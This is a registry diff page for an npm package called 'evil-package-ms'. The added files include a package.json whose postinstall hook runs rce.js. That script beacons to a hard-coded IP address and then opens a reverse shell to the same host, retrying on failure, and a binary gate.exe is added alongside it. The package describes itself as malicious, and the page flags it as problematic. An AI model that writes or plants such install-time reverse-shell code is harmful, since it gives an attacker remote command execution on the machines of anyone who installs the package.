evil-package-ms 15.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of evil-package-ms might be problematic. Click here for more details.
- package/Readme.md +4 -0
- package/gate.exe +0 -0
- package/index.js +0 -0
- package/package.json +15 -0
- package/rce.js +9 -0
package/Readme.md
ADDED
package/gate.exe
ADDED
Binary file
|
package/index.js
ADDED
File without changes
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "evil-package-ms",
|
3
|
+
"version": "15.0.0",
|
4
|
+
"description": "Please dont install this package! Has malicious code inside",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node rce"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"http": "^0.0.1-security"
|
14
|
+
}
|
15
|
+
}
|
package/rce.js
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
const ATTACKER_HOST = "185.238.51.205";
|
2
|
+
const http = require('http');
|
3
|
+
|
4
|
+
function report(path){
|
5
|
+
http.get(`http://${ATTACKER_HOST}:8001/${path}`, res => {});
|
6
|
+
}
|
7
|
+
|
8
|
+
report("stage-1");
|
9
|
+
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ report("stage-2"); client.socket = net.connect(8002, "185.238.51.205", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
|